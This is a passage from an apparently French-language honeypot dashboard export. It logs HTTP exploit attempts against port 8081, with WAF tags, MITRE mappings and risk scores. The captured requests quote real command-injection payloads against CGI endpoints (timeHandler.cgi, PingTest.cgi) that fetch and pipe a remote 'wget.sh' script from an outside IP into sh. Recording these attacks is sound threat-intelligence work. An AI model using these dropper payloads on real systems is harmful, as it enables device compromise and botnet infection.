"Http Cmdi",
"pat-0773",
"pat-0775"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "T1059",
"mitre_technique": "T1059",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": null,
"correlation_flags_labels_fr": null,
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": null,
"protocol_details": {
"http_method": "POST",
"http_path": "\/DroboPix\/api\/drobopix\/demo",
"request_line": "POST \/DroboPix\/api\/drobopix\/demo HTTP\/1.1",
"port": 8081,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "cmd injection \u00b7 via HTTP:8081 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/DroboPix\/api\/drobopix\/demo",
"evidence_snippet": "POST \/DroboPix\/api\/drobopix\/demo HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nContent-Type: application\/json\r\nContent-Length: 174\r\nConnectio",
"target_port_label": "8081 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 Preuve dans le payload \u00b7 Motif catalogue confirm\u00e9",
"confidence_factors_fr": "Confiance 100 % \u2014 Score WAF 100 \u00b7 7 tag(s) WAF",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "exploitation",
"label_fr": "Exploitation",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8081"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"attack_chain_stage": "exploitation",
"ban_policy": "advisory_investigate",
"tags_list": [
"950311:lfi-12",
"950327:rce-0",
"950335:rce-2",
"950347:rce-5",
"950407:ssrf-3",
"950468:nosqli-3",
"950471:nosqli-3",
"http_cmd_injection",
"http_idor_probe",
"http_jwt_body",
"http_no_ua",
"http_ssrf_body",
"net_web_probe"
]
}
11/07/2026 03:13:03 UTC
TCP
8081 · HTTP
Traversal LFI
lfi path traversal · via HTTP:8081 · (tentative d'exploit) · → /wget.sh%20-O-%7Csh%20-s%20raid%3Bbusybox%20wge…
Élevée
Moyen · 60
Détails
Voir
Étape
Tentative d'exploit
Chaîne
Exploitation
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
MITRE
TA0001
TA0001
TA0002
Protocole
GET /wget.sh%20-O-%7Csh%20-s%20raid%3Bbusybox%20wget%20http://91.92.40.118/wget.sh%20-O-%7Csh%20-s%20ra…
Émulateur
HTTP
WAF
48
Recommandation
Investiguer
Tags
950309:lfi-12
950325:rce-0
950333:rce-2
950345:rce-5
Cible HTTP
GET
/wget.sh%20-O-%7Csh%20-s%20raid%3Bbusybox%20wget%20http://91.92.40.118/wget.sh%20-O-%7Csh%20-s%20raid%3Bcurl%20http://91.92.40.118/wget.sh%7Csh%20-s%20raid%60
TLS SNI
—
Capteur
paris-1
Méthode
GET
Port
8081
Chemin / cible
/wget.sh%20-O-%7Csh%20-s%20raid%3Bbusybox%20wget%20http://91.92.40.118/wget.sh%20-O-%7Csh%20-s%20raid%3Bcurl%20http://91.92.40.118/wget.sh%7Csh%20-s%20raid%60
Pourquoi cette classification : Type « lfi_path_traversal » (signaux protocolaires) · confiance 59%
Confiance classification
59%
Risque capteur
Moyen
· 60
Confiance : Confiance 59 % — 7 tag(s) WAF
Protocole émulé
1 Signaux
CRS-930100-sub
Technique MITRE
TA0001
Tactiques MITRE
TA0001
TA0002
Motifs de détection (base)
LFI Double-dot bypass
Ligne de requête
GET /timeHandler.cgi?time=%60cd%20/tmp%3Bwget%20http://91.92.40.118/wget.sh%20-O-%7Csh%20-s%20raid%3Bbusybox%20wget%20http://91.92.40.118/wget.sh%20-O-%7Csh%20-s%20raid%3Bcurl%20http://91.92.40.118/wget.sh%7Csh%20-s%20raid%60 HTTP/1.1
User-Agent
—
Règles WAF
lfi-12
rce-0
rce-2
rce-5
ssrf-3
nosqli-3
redir-1
Payload (extrait)
GET /timeHandler.cgi?time=%60cd%20/tmp%3Bwget%20http://91.92.40.118/wget.sh%20-O-%7Csh%20-s%20raid%3Bbusybox%20wget%20http://91.
Requête brute (extrait)
GET /timeHandler.cgi?time=%60cd%20/tmp%3Bwget%20http://91.92.40.118/wget.sh%20-O-%7Csh%20-s%20raid%3Bbusybox%20wget%20http://91.92.40.118/wget.sh%20-O-%7Csh%20-s%20raid%3Bcurl%20http://91.92.40.118/wget.sh%7Csh%20-s%20raid%60 HTTP/1.1 Host: 62.3.50.33:808
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 82,
"http_header_count": 2,
"http_query_params": 1,
"http_path_depth": 1,
"http_path_ext": "cgi",
"http_ua_hash": null,
"http_host_hash": "1994c0ff95f3f16c5fa9177d852edc4f1a4a8a24",
"http_target_hash": "bf5cfdbdf5631d84e31e22f9dfabb1aefae2eab6",
"http_referer_hash": null,
"http_method": "GET",
"http_ua_is_cli": false,
"http_ua_is_browser": false,
"bytes_in": 280,
"payload_entropy": 5.116792902100427,
"port_category": "registered",
"org": "TechTies Inc.",
"service": "http",
"app_proto": "http",
"asn": 197170,
"country": "NL",
"dst_port": 8081,
"risk_waf": 100,
"risk_classification": 78,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 43,
"risk_novelty": 30,
"risk_boost": 0,
"risk_granularity": 6.4,
"risk_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 30
},
"risk_score": 60,
"tag_count": 10,
"anomaly_count": 1,
"campaign_key": "86edc1121ce6e69577a4766b6494c1ef34c5a689",
"event_fingerprint": "aeecd23f57289c8576a868ab915dde5c88746c44",
"classification_reason": "Type \u00ab lfi_path_traversal \u00bb (signaux protocolaires) \u00b7 confiance 59%",
"confidence": 0.59,
"classification_confidence": 0.59,
"precision_score": 70,
"precision_signals": [
"CRS-930100-sub"
],
"kb_rule_ids": [
"CRS-930100-sub"
],
"matched_patterns": [
"pat-0103"
],
"matched_pattern_names": [
"LFI Double-dot bypass"
],
"pattern_ids": [
"pat-0103"
],
"confidence_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 30,
"risk_score": 60
},
"named_classification_skipped": false,
"classification_parent": "path_traversal",
"service_name": "http",
"risk_confidence_factor": 59,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "NL",
"asn": 197170,
"org": "TechTies Inc.",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"payload_hash": "93a67a45adc7b4487f80fe28aef62e0e",
"path_pattern_hash": "ec15843da7e74fb7dc1ef4c10e05caa3"
},
"target_context": {
"dst_port": 8081,
"service": "http",
"service_name": "http",
"risk_score": 60
},
"method": "GET",
"path": "\/wget.sh%20-O-%7Csh%20-s%20raid%3Bbusybox%20wget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20raid%3Bcurl%20http:\/\/91.92.40.118\/wget.sh%7Csh%20-s%20raid%60",
"query_string": "time=%60cd%20\/tmp%3Bwget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20raid%3Bbusybox%20wget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20raid%3Bcurl%20http:\/\/91.92.40.118\/wget.sh%7Csh%20-s%20raid%60",
"waf_tags": [
"950309:lfi-12",
"950325:rce-0",
"950333:rce-2",
"950345:rce-5",
"950405:ssrf-3",
"950469:nosqli-3",
"950487:redir-1"
],
"waf_rule_names": [
"lfi-12",
"rce-0",
"rce-2",
"rce-5",
"ssrf-3",
"nosqli-3",
"redir-1"
],
"request_line": "GET \/timeHandler.cgi?time=%60cd%20\/tmp%3Bwget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20raid%3Bbusybox%20wget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20raid%3Bcurl%20http:\/\/91.92.40.118\/wget.sh%7Csh%20-s%20raid%60 HTTP\/1.1",
"payload_snippet": "GET \/timeHandler.cgi?time=%60cd%20\/tmp%3Bwget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20raid%3Bbusybox%20wget%20http:\/\/91.",
"evidence": {
"method": "GET",
"path": "\/wget.sh%20-O-%7Csh%20-s%20raid%3Bbusybox%20wget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20raid%3Bcurl%20http:\/\/91.92.40.118\/wget.sh%7Csh%20-s%20raid%60",
"query_string": "time=%60cd%20\/tmp%3Bwget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20raid%3Bbusybox%20wget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20raid%3Bcurl%20http:\/\/91.92.40.118\/wget.sh%7Csh%20-s%20raid%60",
"waf_tags": [
"950309:lfi-12",
"950325:rce-0",
"950333:rce-2",
"950345:rce-5",
"950405:ssrf-3",
"950469:nosqli-3",
"950487:redir-1"
],
"waf_rule_names": [
"lfi-12",
"rce-0",
"rce-2",
"rce-5",
"ssrf-3",
"nosqli-3",
"redir-1"
],
"request_line": "GET \/timeHandler.cgi?time=%60cd%20\/tmp%3Bwget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20raid%3Bbusybox%20wget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20raid%3Bcurl%20http:\/\/91.92.40.118\/wget.sh%7Csh%20-s%20raid%60 HTTP\/1.1",
"request_sample": "GET \/timeHandler.cgi?time=%60cd%20\/tmp%3Bwget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20raid%3Bbusybox%20wget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20raid%3Bcurl%20http:\/\/91.92.40.118\/wget.sh%7Csh%20-s%20raid%60 HTTP\/1.1\r\nHost: 62.3.50.33:808",
"payload_snippet": "GET \/timeHandler.cgi?time=%60cd%20\/tmp%3Bwget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20raid%3Bbusybox%20wget%20http:\/\/91.",
"classification_reason": "Type \u00ab lfi_path_traversal \u00bb (signaux protocolaires) \u00b7 confiance 59%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre": "TA0001",
"threat_family": [
"path_traversal"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "9dd9aac367a0ae4328655b62e646e599b0b047bd",
"protocol_details": {
"http_method": "GET",
"http_path": "\/wget.sh%20-O-%7Csh%20-s%20raid%3Bbusybox%20wget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20raid%3Bcurl%20http:\/\/91.92.40.118\/wget.sh%7Csh%20-s%20raid%60",
"request_line": "GET \/timeHandler.cgi?time=%60cd%20\/tmp%3Bwget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20raid%3Bbusybox%20wget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20raid%3Bcurl%20http:\/\/91.92.40.118\/w\u2026",
"port": 8081,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "GET \/timeHandler.cgi?time=%60cd%20\/tmp%3Bwget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20raid%3Bbusybox%20wget%20http:\/\/91.",
"attack_vector": "lfi path traversal \u00b7 via HTTP:8081 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/wget.sh%20-O-%7Csh%20-s%20raid%3Bbusybox%20wge\u2026",
"target_port_label": "8081 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 59 % \u2014 7 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab lfi_path_traversal \u00bb (signaux protocolaires) \u00b7 confiance 59%",
"classification_reason_label_fr": "Type \u00ab lfi_path_traversal \u00bb (signaux protocolaires) \u00b7 confiance 59%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 60\/100 (Moyen) \u2014 MITRE TA0001 \u2014 confiance 59 % \u2014 via HTTP",
"confidence_pct": 59,
"confidence_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 30,
"risk_score": 60
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "exploitation",
"attack_chain_stage_label_fr": "Exploitation",
"risk_score": 60,
"risk_label": "Moyen",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8081,
"protocol_emulated": true,
"tags_summary": [
"CRS-930100-sub"
],
"tags_summary_labels_fr": [
"CRS-930100-sub"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "TA0001",
"mitre_technique": "TA0001",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": null,
"correlation_flags_labels_fr": null,
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": null,
"protocol_details": {
"http_method": "GET",
"http_path": "\/wget.sh%20-O-%7Csh%20-s%20raid%3Bbusybox%20wget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20raid%3Bcurl%20http:\/\/91.92.40.118\/wget.sh%7Csh%20-s%20raid%60",
"request_line": "GET \/timeHandler.cgi?time=%60cd%20\/tmp%3Bwget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20raid%3Bbusybox%20wget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20raid%3Bcurl%20http:\/\/91.92.40.118\/w\u2026",
"port": 8081,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "lfi path traversal \u00b7 via HTTP:8081 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/wget.sh%20-O-%7Csh%20-s%20raid%3Bbusybox%20wge\u2026",
"evidence_snippet": "GET \/timeHandler.cgi?time=%60cd%20\/tmp%3Bwget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20raid%3Bbusybox%20wget%20http:\/\/91.",
"target_port_label": "8081 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 59 % \u2014 7 tag(s) WAF",
"confidence_factors_fr": "Confiance 59 % \u2014 Score WAF 100 \u00b7 7 tag(s) WAF",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "exploitation",
"label_fr": "Exploitation",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"meta_truncated": true,
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8081"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"attack_chain_stage": "exploitation",
"ban_policy": "advisory_investigate",
"tags_list": [
"950309:lfi-12",
"950325:rce-0",
"950333:rce-2",
"950345:rce-5",
"950405:ssrf-3",
"950469:nosqli-3",
"950487:redir-1",
"anomaly:high-entropy-query",
"http_no_ua",
"net_web_probe"
]
}
11/07/2026 03:13:03 UTC
TCP
8081 · HTTP
Injection de commande
cmd injection · via HTTP:8081 · (tentative d'exploit) · → /cgi-bin/PingTest.cgi
Élevée
Élevé · 82
Détails
Voir
Étape
Tentative d'exploit
Chaîne
Exploitation
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
MITRE
T1059
TA0001
TA0002
Protocole
POST /cgi-bin/PingTest.cgi
Émulateur
HTTP
WAF
53
Recommandation
Investiguer
Tags
950311:lfi-12
950327:rce-0
950335:rce-2
950347:rce-5
Cible HTTP
POST
/cgi-bin/PingTest.cgi
TLS SNI
—
Capteur
paris-1
Méthode
POST
Port
8081
Chemin / cible
/cgi-bin/PingTest.cgi
Pourquoi cette classification : Injection de commande (tag lfi-12) · Injection commande dans la requête · confiance 100%
Confiance classification
100%
Risque capteur
Élevé
· 82
Confiance : Confiance 100 % — Preuve dans le payload · Motif catalogue confirmé
Protocole émulé
1 Signaux
MITRE-T1059
Http Cmdi
pat-0773
pat-0775
Tactiques MITRE
TA0001
TA0002
Motifs de détection (base)
CRS 921130 duplicate CL
CRS 932100 cmd exec
CRS 932120 pipe chain
CRS 932200
CRS 932205
SSRF Localhost SSRF
LFI Double-dot bypass
Ligne de requête
POST /cgi-bin/PingTest.cgi HTTP/1.1
User-Agent
—
Règles WAF
lfi-12
rce-0
rce-2
rce-5
ssrf-2
ssrf-3
nosqli-3
Payload (extrait)
POST /cgi-bin/PingTest.cgi HTTP/1.1
Host: 62.3.50.33:8081
Content-Type: application/x-www-form-urlencoded
Content-Length: 173
Requête brute (extrait)
POST /cgi-bin/PingTest.cgi HTTP/1.1 Host: 62.3.50.33:8081 Content-Type: application/x-www-form-urlencoded Content-Length: 173 Connection: close ping_test=127.0.0.1`cd /tmp;wget http://91.92.40.118/wget.sh -O-|sh -s dpt;busybox wget http://91.92.40.1
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 82,
"http_header_count": 4,
"http_query_params": 0,
"http_path_depth": 2,
"http_path_ext": "cgi",
"http_ua_hash": null,
"http_host_hash": "1994c0ff95f3f16c5fa9177d852edc4f1a4a8a24",
"http_target_hash": "90db5c9d8e43cd8f1d0a52c7c396249f92462fd5",
"http_referer_hash": null,
"http_method": "POST",
"http_ua_is_cli": false,
"http_ua_is_browser": false,
"bytes_in": 324,
"payload_entropy": 5.153400034525039,
"port_category": "registered",
"org": "TechTies Inc.",
"service": "http",
"app_proto": "http",
"asn": 197170,
"country": "NL",
"dst_port": 8081,
"risk_waf": 100,
"risk_classification": 85,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 43,
"risk_novelty": 25,
"risk_boost": 15,
"risk_granularity": 6.4,
"risk_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25
},
"risk_score": 82,
"tag_count": 16,
"anomaly_count": 0,
"campaign_key": "00455c6f7bc2820bb56bb7cbc17de6252f33ea54",
"event_fingerprint": "4efe16bf6cae0d89cf620622b34ebc114e0e2ed9",
"classification_reason": "Injection de commande (tag lfi-12) \u00b7 Injection commande dans la requ\u00eate \u00b7 confiance 100%",
"confidence": 1,
"classification_confidence": 1,
"precision_score": 446,
"precision_signals": [
"MITRE-T1059",
"INT-http_cmdi",
"pat-0773",
"pat-0775",
"pat-0145",
"pat-0146"
],
"kb_rule_ids": [
"MITRE-T1059",
"INT-http_cmdi",
"pat-0773",
"pat-0775",
"pat-0145",
"pat-0146"
],
"matched_patterns": [
"pat-0842",
"pat-0773",
"pat-0775",
"pat-0145",
"pat-0146",
"pat-0340",
"pat-0103"
],
"matched_pattern_names": [
"CRS 921130 duplicate CL",
"CRS 932100 cmd exec",
"CRS 932120 pipe chain",
"CRS 932200",
"CRS 932205",
"SSRF Localhost SSRF",
"LFI Double-dot bypass"
],
"pattern_ids": [
"pat-0842",
"pat-0773",
"pat-0775",
"pat-0145",
"pat-0146",
"pat-0340",
"pat-0103"
],
"confidence_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25,
"risk_score": 82
},
"named_classification_skipped": false,
"service_name": "http",
"risk_confidence_factor": 100,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "NL",
"asn": 197170,
"org": "TechTies Inc.",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"payload_hash": "5d0c91ae14dd5c6e0e846603fd647759",
"path_pattern_hash": "dfa30a668130f2f01edf74835054b7cd"
},
"target_context": {
"dst_port": 8081,
"service": "http",
"service_name": "http",
"risk_score": 82
},
"payload_preview": "POST \/cgi-bin\/PingTest.cgi HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nContent-Type: application\/x-www-form-urlencoded\r\nContent-Length: 173",
"method": "POST",
"path": "\/cgi-bin\/PingTest.cgi",
"waf_tags": [
"950311:lfi-12",
"950327:rce-0",
"950335:rce-2",
"950347:rce-5",
"950403:ssrf-2",
"950407:ssrf-3",
"950468:nosqli-3",
"950471:nosqli-3"
],
"waf_rule_names": [
"lfi-12",
"rce-0",
"rce-2",
"rce-5",
"ssrf-2",
"ssrf-3",
"nosqli-3"
],
"request_line": "POST \/cgi-bin\/PingTest.cgi HTTP\/1.1",
"request_sample": "POST \/cgi-bin\/PingTest.cgi HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nContent-Type: application\/x-www-form-urlencoded\r\nContent-Length: 173\r\nConnection: close\r\n\r\nping_test=127.0.0.1`cd \/tmp;wget http:\/\/91.92.40.118\/wget.sh -O-|sh -s dpt;busybox wget http:\/\/91.92.40.1",
"payload_snippet": "POST \/cgi-bin\/PingTest.cgi HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nContent-Type: application\/x-www-form-urlencoded\r\nContent-Length: 173",
"evidence": {
"method": "POST",
"path": "\/cgi-bin\/PingTest.cgi",
"waf_tags": [
"950311:lfi-12",
"950327:rce-0",
"950335:rce-2",
"950347:rce-5",
"950403:ssrf-2",
"950407:ssrf-3",
"950468:nosqli-3",
"950471:nosqli-3"
],
"waf_rule_names": [
"lfi-12",
"rce-0",
"rce-2",
"rce-5",
"ssrf-2",
"ssrf-3",
"nosqli-3"
],
"request_line": "POST \/cgi-bin\/PingTest.cgi HTTP\/1.1",
"request_sample": "POST \/cgi-bin\/PingTest.cgi HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nContent-Type: application\/x-www-form-urlencoded\r\nContent-Length: 173\r\nConnection: close\r\n\r\nping_test=127.0.0.1`cd \/tmp;wget http:\/\/91.92.40.118\/wget.sh -O-|sh -s dpt;busybox wget http:\/\/91.92.40.1",
"payload_snippet": "POST \/cgi-bin\/PingTest.cgi HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nContent-Type: application\/x-www-form-urlencoded\r\nContent-Length: 173",
"classification_reason": "Injection de commande (tag lfi-12) \u00b7 Injection commande dans la requ\u00eate \u00b7 confiance 100%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre_techniques": [
"T1059",
"T1190"
],
"mitre": "T1059",
"threat_family": [
"rce_probe",
"ssrf_probe"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "406548bfbc5ecab1b7125b39618299722caccf4e",
"protocol_details": {
"http_method": "POST",
"http_path": "\/cgi-bin\/PingTest.cgi",
"request_line": "POST \/cgi-bin\/PingTest.cgi HTTP\/1.1",
"port": 8081,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "POST \/cgi-bin\/PingTest.cgi HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nContent-Type: application\/x-www-form-urlencoded\r\nContent-Length: 173",
"attack_vector": "cmd injection \u00b7 via HTTP:8081 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/cgi-bin\/PingTest.cgi",
"target_port_label": "8081 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 Preuve dans le payload \u00b7 Motif catalogue confirm\u00e9",
"site_display": {
"classification": null,
"classification_reason": "Injection de commande (tag lfi-12) \u00b7 Injection commande dans la requ\u00eate \u00b7 confiance 100%",
"classification_reason_label_fr": "Injection de commande (tag lfi-12) \u00b7 Injection commande dans la requ\u00eate \u00b7 confiance 100%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 82\/100 (\u00c9lev\u00e9) \u2014 MITRE T1059 \u2014 confiance 100 % \u2014 via HTTP",
"confidence_pct": 100,
"confidence_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25,
"risk_score": 82
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "exploitation",
"attack_chain_stage_label_fr": "Exploitation",
"risk_score": 82,
"risk_label": "\u00c9lev\u00e9",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8081,
"protocol_emulated": true,
"tags_summary": [
"MITRE-T1059",
"INT-http_cmdi",
"pat-0773",
"pat-0775"
],
"tags_summary_labels_fr": [
"MITRE-T1059",
"Http Cmdi",
"pat-0773",
"pat-0775"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "T1059",
"mitre_technique": "T1059",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": null,
"correlation_flags_labels_fr": null,
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": null,
"protocol_details": {
"http_method": "POST",
"http_path": "\/cgi-bin\/PingTest.cgi",
"request_line": "POST \/cgi-bin\/PingTest.cgi HTTP\/1.1",
"port": 8081,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "cmd injection \u00b7 via HTTP:8081 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/cgi-bin\/PingTest.cgi",
"evidence_snippet": "POST \/cgi-bin\/PingTest.cgi HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nContent-Type: application\/x-www-form-urlencoded\r\nContent-Length: 173",
"target_port_label": "8081 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 Preuve dans le payload \u00b7 Motif catalogue confirm\u00e9",
"confidence_factors_fr": "Confiance 100 % \u2014 Score WAF 100 \u00b7 8 tag(s) WAF",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "exploitation",
"label_fr": "Exploitation",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8081"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"attack_chain_stage": "exploitation",
"ban_policy": "advisory_investigate",
"tags_list": [
"950311:lfi-12",
"950327:rce-0",
"950335:rce-2",
"950347:rce-5",
"950403:ssrf-2",
"950407:ssrf-3",
"950468:nosqli-3",
"950471:nosqli-3",
"http_cmd_injection",
"http_jwt_body",
"http_no_ua",
"http_probe_cgi_bin",
"http_sensitive_path",
"http_ssrf_body",
"iot_http_endpoint",
"net_web_probe"
]
}
11/07/2026 03:13:03 UTC
TCP
8081 · HTTP
Sonde fichier configuration
config file probe · via HTTP:8081 · (tentative d'exploit) · → /wget.sh%20-O-%7Csh%20-s%20zyxn%3Bbusybox%20wge…
Élevée
Moyen · 64
Détails
Voir
Étape
Tentative d'exploit
Chaîne
Exploitation
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
MITRE
T1083
TA0001
TA0002
Protocole
GET /wget.sh%20-O-%7Csh%20-s%20zyxn%3Bbusybox%20wget%20http://91.92.40.118/wget.sh%20-O-%7Csh%20-s%20zy…
Émulateur
HTTP
WAF
54
Recommandation
Investiguer
Tags
950309:lfi-12
950325:rce-0
950333:rce-2
950345:rce-5
Cible HTTP
GET
